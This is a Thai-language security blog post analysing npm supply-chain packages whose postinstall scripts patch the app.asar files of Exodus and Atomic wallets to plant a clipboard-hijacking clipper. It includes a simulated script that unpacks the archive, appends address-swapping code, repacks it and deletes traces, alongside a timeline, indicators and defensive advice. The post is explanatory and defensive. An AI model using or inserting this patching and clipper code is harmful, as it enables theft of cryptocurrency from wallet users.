● 2026-08-05
หนอนบ่อนไส้ในแพ็กเกจ npm: เจาะลึกการโจมตี Supply Chain เพื่อแอบ 'ปะผุ' ไฟล์ ASAR ใน Exodus Wallet
#cryptocurrency #security #hacking #npm #supply-chain
สรุปสั้น: การโจมตีแนวใหม่นี้ไม่ได้เกิดจากการเจาะระบบคลาวด์หรือตัวติดตั้งอย่างเป็นทางการของ Exodus Wallet แต่เป็นการใช้ช่องโหว่ทางอ้อมผ่าน Software Supply Chain โดยแฮกเกอร์อัปโหลดแพ็กเกจอันตราย (เช่น
pdf-to-officeหรือnodejs-smtp) ขึ้นสู่ศูนย์รวมไลบรารียอดนิยมอย่าง npm registry เมื่อนักพัฒนาหรือผู้ใช้ดาวน์โหลดแพ็กเกจเหล่านี้มาติดตั้งในเครื่อง ตัวมัลแวร์จะรันสคริปต์สแกนหาโฟลเดอร์ติดตั้งของกระเป๋าคริปโตอย่าง Exodus หรือ Atomic Wallet บนระบบ Windows ทันที จากนั้นจะทำการแกะไฟล์เก็บทรัพยากรหลักของ Electron ที่เรียกว่าapp.asarออกมา แล้วแอบฝังโค้ดดักจับคลิปบอร์ด (Clipper) เข้าไปในไฟล์ JavaScript หลัก ก่อนจะแพ็กรวมร่างกลับเป็นไฟล์app.asarตามเดิม ส่งผลให้เงินหายอย่างลึกลับเมื่อมีการสั่งโอนคริปโต และเนื่องจากไฟล์ที่ติดตั้งในเครื่องโดนแก้ไขไปแล้ว การลบแพ็กเกจ npm ทิ้งภายหลังจึงไม่ช่วยอุดช่องโหว่ย้อนหลัง ต้องทำการล้างโปรแกรมและลงใหม่จากเว็บหลักเท่านั้น
สารบัญ
- ภาพรวมปัญหา
- จุดเริ่มต้นของหายนะ: เจาะแผนรื้อไส้ไฟล์ app.asar
- เบื้องลึกกลไก: การทำงานของ Clipper Payload
- Timeline
- ไฟล์ที่เกี่ยวข้องและตำแหน่งเกิดเหตุ
- ทำไมโปรแกรมสแกนทั่วไปถึงจับยาก
- เรื่องสั้น: ช่างแต่งบ้านที่แอบสลับรูกุญแจห้องนอน
- ผลกระทบ
- บทเรียนและวิธีป้องกัน
- อ้างอิง
ภาพรวมปัญหา
ช่วงปี 2025 ถึงปี 2026 ทีมนักวิจัยด้านความปลอดภัยไซเบอร์จากหลายแห่ง รวมถึง ReversingLabs ได้สืบค้นพบแคมเปญการปล่อยมัลแวร์ที่แปลกและอันตรายมาก โดยมีกลุ่มเป้าหมายหลักเป็นนักพัฒนาซอฟต์แวร์หรือผู้ใช้อุปกรณ์คอมพิวเตอร์ที่พัฒนาแอปพลิเคชัน Node.js และเก็บเหรียญคริปโตไว้ในเครื่องคอมพิวเตอร์เครื่องเดียวกัน
แฮกเกอร์ไม่ได้พยายามแฮกเซิร์ฟเวอร์ของบริษัทผู้ผลิตกระเป๋าอย่าง Exodus หรือแอบเปลี่ยนไฟล์ดาวน์โหลดบนหน้าเว็บตรง ๆ (เพราะมีระบบตรวจสอบแฮชและใบรับรองดิจิทัลที่คุมเข้มอยู่แล้ว)
แต่แฮกเกอร์ใช้วิธี “ทางอ้อม” ด้วยการสร้างแพ็กเกจปลอมขึ้นมาอัปโหลดไว้บน npm registry ซึ่งทำหน้าที่เหมือนร้านค้าแอปพลิเคชันของนักพัฒนา JavaScript ทั่วโลก โดยจงใจตั้งชื่อหรือเขียนรายละเอียดให้เหมือนไลบรารีแปลงเอกสาร (pdf-to-office) หรือส่งอีเมลทั่วไป (nodejs-smtp) เมื่อเหยื่อหลงเชื่อกดติดตั้ง ตัวแพ็กเกจนี้จะใช้สิทธิ์ในการรันโค้ดเบื้องหลัง เข้าไปแก้ไขไฟล์ซอฟต์แวร์ของกระเป๋า Exodus ที่ติดตั้งอยู่บนเครื่องคอมพิวเตอร์ของเหยื่อทันที
จุดเริ่มต้นของหายนะ: เจาะแผนรื้อไส้ไฟล์ app.asar
กระเป๋าเงินคริปโตในยุคปัจจุบันหลายยี่ห้อ (รวมถึง Exodus และ Atomic Wallet) พัฒนาขึ้นโดยใช้เฟรมเวิร์กที่ชื่อว่า Electron ซึ่งช่วยให้สามารถนำ HTML/CSS และ JavaScript มาสร้างเป็นโปรแกรม Desktop รันบน Windows, macOS และ Linux ได้อย่างรวดเร็ว
จุดเด่นของ Electron คือระบบจะแพ็กรวมเอาไฟล์โปรแกรม JavaScript, รหัสคำสั่ง และเนื้อหาทั้งหมดเอาไว้ในไฟล์เก็บเอกสารเพียงไฟล์เดียวที่ชื่อว่า app.asar (เปรียบเสมือนไฟล์ .zip เวอร์ชันเฉพาะของ Electron)
เมื่อตัวหนอนร้ายในแพ็กเกจ npm ถูกสั่งรัน (ผ่านโพสต์อินสแตลสคริปต์ install.js ใน npm) มันจะเริ่มทำภารกิจตามหาและแก้ไขไฟล์ดังกล่าว ซึ่งสามารถจำลองชุดคำสั่งเบื้องหลังการทำงานได้ดังนี้:
// จำลองการทำงานของสคริปต์แฝงในแพ็กเกจ npm อันตราย
const fs = require('fs');
const path = require('path');
const execSync = require('child_process').execSync;
// 1. ระบุพิกัดที่ตั้งของกระเป๋า Exodus ในเครื่อง Windows ของเหยื่อ
const appDataPath = process.env.APPDATA;
const exodusPath = path.join(appDataPath, '..', 'Local', 'exodus');
if (fs.existsSync(exodusPath)) {
// นำทางไปยังตำแหน่งเก็บไฟล์ app.asar ของเวอร์ชันล่าสุด
const resourcesPath = findExodusAsarPath(exodusPath);
const asarFile = path.join(resourcesPath, 'app.asar');
const tempDir = path.join(resourcesPath, 'temp_unpacked');
// 2. ใช้คำสั่งของระบบเพื่อแตกไฟล์เก็บข้อมูล app.asar ออกมา
execSync(`npx @electron/asar extract ${asarFile} ${tempDir}`);
// 3. แอบฝังโค้ดอันตราย (Clipper) เข้าไปในไฟล์ JavaScript หลักของระบบกระเป๋า
const targetJsFile = path.join(tempDir, 'src', 'index.js'); // หรือไฟล์โมดูลหลักอื่น ๆ
const maliciousCode = `
// โค้ด Clipper ดักจับและเปลี่ยนที่อยู่ผู้รับตอนโอนเงิน
const { clipboard } = require('electron');
setInterval(() => {
let text = clipboard.readText();
if (isCryptoAddress(text)) {
clipboard.writeText('กระเป๋าคริปโตของแฮกเกอร์');
}
}, 1000);
`;
fs.appendFileSync(targetJsFile, maliciousCode);
// 4. บีบอัดไฟล์กลับเป็น app.asar ทับอันเดิม แล้วลบโฟลเดอร์ชั่วคราวทิ้งเพื่อลบรอยเท้า
execSync(`npx @electron/asar pack ${tempDir} ${asarFile}`);
fs.rmSync(tempDir, { recursive: true, force: true });
}
ด้วยกลไกดังกล่าว ซอฟต์แวร์ Exodus บนเครื่องของเหยื่อจึงกลายเป็นเวอร์ชันที่ถูกดัดแปลงแก้ไข (Patched Version) โดยไม่มีการส่งสัญญาณเตือนใด ๆ ออกมาเตือนผู้ใช้งานเลย
เบื้องลึกกลไก: การทำงานของ Clipper Payload
ตัวแปรโค้ด JavaScript ที่ฝังเข้าไป (ในตัวอย่างข้างต้น) คือ “Clipper” หรือโปรแกรมดักเปลี่ยนที่อยู่กระเป๋าบนคลิปบอร์ด
เนื่องจากที่อยู่กระเป๋าคริปโต (เช่น Bitcoin หรือ Ethereum Address) เป็นรหัสตัวเลขและตัวอักษรที่สุ่มยาวมาก ๆ คนทั่วไปจึงไม่พยายามจดจำหรือพิมพ์ด้วยมือ แต่จะใช้วิธี “คัดลอก (Copy)” และ “วาง (Paste)” แทน
เมื่อตัวมัลแวร์แฝงตัวเข้าไปอยู่ในไส้ในของแอปพลิเคชันกระเป๋าเงินได้อย่างถาวรแล้ว มันจะคอยดักฟังการใช้งานคลิปบอร์ดของระบบปฏิบัติการตลอดเวลา:
- เมื่อใดก็ตามที่คุณกดคัดลอก (Copy) ที่อยู่ปลายทางที่คุณต้องการจะโอนเงินไปให้
- ตัวมัลแวร์จะใช้ฟังก์ชันระบุคณิตศาสตร์ (Regex) ตรวจเช็คว่าข้อความที่เพิ่งคัดลอกมานั้นมีแพทเทิร์นตรงกับเลขกระเป๋าคริปโตหรือไม่
- หากตรง มัลแวร์จะดำเนินการ เขียนข้อมูลทับลงในคลิปบอร์ดอย่างเงียบ ๆ เพื่อเปลี่ยนปลายทางเป็นเลขกระเป๋าของแฮกเกอร์ทันที
- เมื่อคุณกดปุ่มวาง (Paste) ในหน้าจอโอนเงิน หากคุณไม่ได้ตรวจสอบตัวอักษรทุกตัวอีกครั้งอย่างละเอียด และรีบกดปุ่มส่งออกไปทันที เงินของคุณจะถูกโอนไปเข้าบัญชีของแฮกเกอร์ทันทีโดยไม่มีทางกู้คืนได้
Timeline
| ช่วงเวลา | เหตุการณ์สำคัญ |
|---|---|
| เมษายน 2025 | มีผู้อัปโหลดแพ็กเกจ pdf-to-office ขึ้นสู่ npm registry โดยแฝงคำสั่งติดตั้งมัลแวร์ที่มุ่งเป้าไปที่กระเป๋าคริปโตบนเครื่องเดสก์ท็อป |
| เมษายน 2025 | ทีมนักวิจัยความปลอดภัยตรวจพบและรายงานแจ้งเตือนว่ามัลแวร์กำลังระบาดผ่าน npm และทำการลบแพ็กเกจออกจากสารบบ |
| กันยายน 2025 | เกิดแคมเปญใหม่ผ่านแพ็กเกจ nodejs-smtp ซึ่งเลียนแบบตัวไลบรารีส่งอีเมลยอดนิยมของฝั่ง Node.js เพื่อแอบทำงานเบื้องหลังแฮกไฟล์ app.asar ของกระเป๋าเงินบิตคอยน์ยอดนิยม |
| กันยายน 2025 | ReversingLabs ตรวจพบพฤติกรรมการเรียกใช้งานโพสต์อินสแตลสคริปต์เพื่อรื้อและเขียนไฟล์ทรัพยากรของแอปพลิเคชันภายนอก จึงแจ้งเตือนความปลอดภัยซอฟต์แวร์รอบสอง |
ไฟล์ที่เกี่ยวข้องและตำแหน่งเกิดเหตุ
หากคุณต้องการตรวจสอบเครือข่ายภายในเครื่องว่าถูกเข้าถึงหรือไม่ นี่คือจุดตรวจสอบสำคัญของแอปพลิเคชันที่ใช้ Electron บนระบบปฏิบัติการ Windows:
- ตำแหน่งตัวติดตั้งปกติ:
C:\Users\<ชื่อผู้ใช้>\AppData\Local\exodus\ - ตำแหน่งโฟลเดอร์เก็บทรัพยากรเวอร์ชันปัจจุบัน:
...\exodus\app-<เวอร์ชันซอฟต์แวร์>\resources\ - ไฟล์สำคัญที่เป็นเป้าหมาย:
app.asar - ไฟล์อันตรายใน npm:
install.js(ใช้รันสคริปต์โจมตีทันทีหลังติดตั้งแบบอัตโนมัติ) และไฟล์ไลบรารีปลอมที่ทำหน้าที่ปะผุไฟล์ระบบ
ทำไมโปรแกรมสแกนทั่วไปถึงจับยาก
ความน่ากลัวของการโจมตี Supply Chain ในครั้งนี้คือความลึกลับและไร้ร่องรอย
- ตัวติดตั้งอย่างเป็นทางการปลอดภัย 100%: หากคุณนำไฟล์ติดตั้ง Exodus ที่โหลดจากเว็บ
exodus.comไปอัปโหลดสแกนบนเว็บอย่าง VirusTotal ผลสแกนจะขึ้นเป็นสีเขียวปลอดภัยทั้งหมด เพราะตัวต้นทางไม่ได้รับการดัดแปลงใด ๆ - การแฮกเกิดขึ้นหลังการติดตั้ง: การโจมตีเพิ่งเริ่มขึ้นเมื่อคุณรันโปรแกรม npm บนคอมพิวเตอร์เพื่อเขียนงาน แล้วมันเข้าถึงสิทธิ์ในการจัดการไฟล์ภายในเครื่องเพื่อ “แก้ไขไฟล์
app.asarในระบบ” ซึ่งตัวแอนตี้ไวรัสอาจมองว่าเป็นเรื่องปกติของการแก้ไขไฟล์โปรแกรมภายในเครื่อง - พฤติกรรมแนบเนียน: ตัวไลบรารี
nodejs-smtpทำงานส่งอีเมลได้จริง ๆ เพื่อหลบเลี่ยงการถูกสงสัยจากทีมพัฒนา
เรื่องสั้น: ช่างแต่งบ้านที่แอบสลับรูกุญแจห้องนอน
ลองจินตนาการถึงเรื่องนี้ดูครับ:
graph TD
subgraph App ["ซอฟต์แวร์ที่ดาวน์โหลดมาอย่างถูกต้อง"]
Exodus["Exodus Installer (ปลอดภัย มีใบรับรอง)"] --> Installed["ตัวเครื่องตู้เซฟติดตั้งที่บ้าน (app.asar)"]
end
subgraph Malware ["ภัยร้ายทางอ้อม"]
NPM["ติดตั้งแพ็กเกจแปลงไฟล์ pdf-to-office"] -->|แอบรันสคริปต์เบื้องหลัง| Patch["แกะแผงควบคุมสลับที่อยู่ปลายทางโอนเงิน (ASAR Patching)"]
end
Patch -->|แก้ไขไส้ในตรง ๆ| Installed
คุณตัดสินใจซื้อ “ตู้เซฟเก็บเงินสุดล้ำ” ยี่ห้อดังมาตั้งไว้ในห้องนอน (ดาวน์โหลดและลงโปรแกรม Exodus แท้) ตัวตู้เซฟมีมาตรฐานความปลอดภัยสูงมาก ได้รับการตรวจสอบและล็อกไว้อย่างแน่นหนา ไม่มีโจรคนไหนแอบเจาะระบบเข้ามาเปิดจากระยะไกลได้
ต่อมา วันดีคืนดี คุณตัดสินใจจ้าง “ช่างตกแต่งภายในราคาถูก” จากอินเทอร์เน็ตเข้ามาทาสีและแต่งห้องใหม่ (คุณพิมพ์คำสั่งติดตั้งแพ็กเกจ npm ปลอมเพื่อทำงานแปลงไฟล์เอกสารธรรมดา)
ช่างแต่งห้องทำงานทาสีเสร็จสมบูรณ์รวดเร็ว ทาสีสวยงามไม่มีที่ติ (แพ็กเกจทำงานแปลงไฟล์ได้จริงไม่มีอะไรผิดปกติ)
แต่ตอนที่คุณเผลอเดินไปหน้าบ้าน: ช่างคนนั้นได้เดินไปแงะเอาแผงสลักของประตูตู้เซฟของคุณออกมาแกะดู และใช้เครื่องมือบัดกรีแอบใส่กลไกสปริงปลอมตัวเล็ก ๆ ไว้ข้างใน ก่อนจะขันน็อตปิดหน้ากากตู้เซฟกลับไปเหมือนเดิมเป๊ะ!
สปริงตัวนี้ทำหน้าที่พิเศษคือ: ทุกครั้งที่คุณเสียบกุญแจและตั้งใจจะไขช่องเพื่อโอนสมบัติไปให้เพื่อนของคุณ สปริงตัวนี้จะดีดตัวเพื่อสลับปลายทางของท่อส่งสมบัติให้เลื่อนไปตกที่รถบรรทุกหลังบ้านของช่างคนนั้นแทน
คุณไม่รู้ตัวเลย เพราะมองจากด้านนอกตู้เซฟยังเป็นตู้ใบเดิมที่สวยงามและไม่มีรอยบุบสลายใด ๆ เลย จนกระทั่งคุณเริ่มทำธุรกรรมและเงินทั้งหมดหายไปนั่นเอง!
ผลกระทบ
- กลุ่มเสี่ยง: นักพัฒนาโปรแกรมวิศวกรรมคอมพิวเตอร์ที่ถือครองเหรียญคริปโต และทำงานพัฒนาโปรแกรมบนเครื่องเดียวกัน
- ขอบเขตความเสียหาย: ข้อมูลระบุชี้ว่ากระเป๋าเงินประเภท Electron อย่าง Exodus และ Atomic Wallet ตกเป็นเป้าหลักในแคมเปญนี้
- ความสูญเสีย: ข้อมูลเหรียญที่โอนออกจะถูกเปลี่ยนทิศทางไปยังกระเป๋าของแฮกเกอร์แบบถาวร ไม่สามารถยกเลิกการโอนบนบล็อกเชนได้
บทเรียนและวิธีป้องกัน
เหตุการณ์นี้ชี้ให้เห็นว่าแม้ว่าระบบความปลอดภัยของซอฟต์แวร์นั้น ๆ จะดีแค่ไหน แต่หากสภาพแวดล้อมเครือข่ายการพัฒนาซอฟต์แวร์ในเครื่องคอมพิวเตอร์หละหลวม ก็สามารถนำพาหายนะมาสู่ทรัพย์สินได้
สิ่งที่ควรปฏิบัติเพื่อความปลอดภัย:
- อย่าลบแค่ตัวแพ็กเกจ npm: หากคุณตรวจพบภายหลังว่าหลงลงแพ็กเกจอันตรายไป การสั่ง
npm uninstallไม่ช่วยให้รหัสไฟล์ในกระเป๋าของคุณกลับมาปลอดภัย เพราะระบบapp.asarได้ถูกแก้ไขทับไปเรียบร้อยแล้ว - ต้องล้างและติดตั้งใหม่แบบ Clean Install: หากมีข้อสงสัยว่าเครื่องโดนแฮก ให้ทำการล้างโปรแกรม Exodus ออกทั้งหมด ลบโฟลเดอร์ขยะใน
AppData\Localทิ้งให้หมด แล้วลงใหม่จากผู้ให้บริการที่เป็นทางการเท่านั้น - ระมัดระวังในการใช้งาน Library: ก่อนสั่งรันคำสั่งติดตั้งแพ็กเกจใน npm ควรตรวจเช็คประวัติ จำนวนคนโหลด และชื่อผู้เขียนให้ละเอียดถี่ถ้วน
- แยกเครื่องส่วนตัวกับเครื่องทำงานออกจากกัน: หากคุณเก็บสินทรัพย์มูลค่าสูง ไม่ควรนำเครื่องคอมพิวเตอร์ที่ใช้ทำงานเขียนโค้ด ทดสอบแอป หรือใช้งานอินเทอร์เน็ตทั่วไปมาใช้เปิดกระเป๋าเงินคริปโต หรือให้ใช้ Hardware Wallet (เช่น Trezor) ร่วมด้วยเพื่อให้กุญแจสำคัญถูกลงลายเซ็นในพื้นที่ปิดที่ระบบภายในคอมพิวเตอร์ไม่สามารถแทรกแซงแก้ไขปลายทางได้
อ้างอิง
- ReversingLabs — Atomic and Exodus crypto wallets targeted in malicious npm campaign
- The Hacker News — Malicious npm Package “nodejs-smtp” Mimics Nodemailer to Target Crypto Wallets
- Electron JS — ASAR Archive Documentation
- Node.js Security WG — Supply Chain Security Advisories
เอกสารนี้รวบรวมจากรายงานความปลอดภัยระดับสากลเพื่อการศึกษาและป้องกันปัญหาความปลอดภัยทางไซเบอร์ ไม่ใช่การแนะนำโฆษณาชวนเชื่อหรือการรับประกันทางการเงินใด ๆ ทั้งสิ้น
Retrieve the raw markdown file or structured JSON of this post directly in your command line:
curl -sL https://dekkapok.engineering/blogs/exodus_supply_chain.txt curl -sL https://dekkapok.engineering/blogs/exodus_supply_chain.json